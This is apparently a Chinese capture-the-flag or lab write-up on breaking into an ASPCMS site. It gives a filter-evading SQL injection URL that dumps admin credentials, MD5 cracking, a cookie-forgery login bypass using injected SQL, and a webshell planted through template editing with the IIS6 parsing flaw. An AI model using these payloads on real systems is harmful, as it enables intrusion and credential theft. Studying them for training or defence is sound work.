【WEB】aspcms漏洞利用
【社工方法】(不推荐)
1.首先谷歌关键字 Powered by aspcms.com Copyright ?2010-2011 的漏洞,果然功夫不负有心人
2.接着利用注入漏洞
/plug/comment/commentList.asp?id=0%20unmasterion%20semasterlect%20top%201%20UserID,GroupID,LoginName,Password,now%28%29,null,1%20%20frmasterom%20{prefix}user
然后登陆https://www.somd5.com/来解md5
3.去登陆后台 ,登陆成功
然后搜了一下aspcms 的文件上传get webshell
https://www.i0day.com/1595.html
我们来尝试一下我们点击修改
我们点开看一下
直接菜刀链接即可
这种方法只能算作社工解决问题。
【原理解决】(推荐)
1、简单分析
下载CMS源码并简单分析
inc/AspCms_CommonFun.asp在查看asp代码问题:
代码详细分析: 分为三层if语句判断
Function checkLogin() if isnul(rCookie("adminName")) or rCookie("adminName")="" then alertMsgAndGo"您还没有登陆","/" //adminName不能为空 else dim Permissions Permissions=rCookie("groupMenu") if Permissions<>"all" and isnul(Permissions) then alertMsgAndGo"您没有访问权限","-1" //groupMenu需要等于all if not isnum(rCookie("adminrand")) then alertMsgAndGo"您没有访问权限","-1" end if sql = "select count(*) from {prefix}User where LoginName = '"&rCookie("adminName") &"' and adminrand='"&rCookie("adminrand")&"'" Dim rscoo : Set rscoo=Conn.Exec(sql,"r1") if rscoo(0)<>1 then wCookie"adminName","" wCookie"adminId","" wCookie"groupMenu","" wCookie"SceneMenu","" alertMsgAndGo"您没有访问权限","-1" adminrand值需要为一个数字,SQL语句必须成立且返回数字为1时才具有访问权限。 end if
构造:
groupMenu=all;
adminrand=1;
adminName=admin' or ‘1’='1
2、使用cookiesmanager进行cookie伪造。
访问:http://219.153.49.228:42856/admin/
登录后台-点击后台导航
3、点击界面风格-编辑模板/CSS文件-编辑
查看一个一句话木马存在且利用了IIS6解析漏洞。
访问目标文件:
http://219.153.49.228:42856/Templates/green/html/1.asp;.html
4、使用菜刀连接一句话木马,在根目录找到文件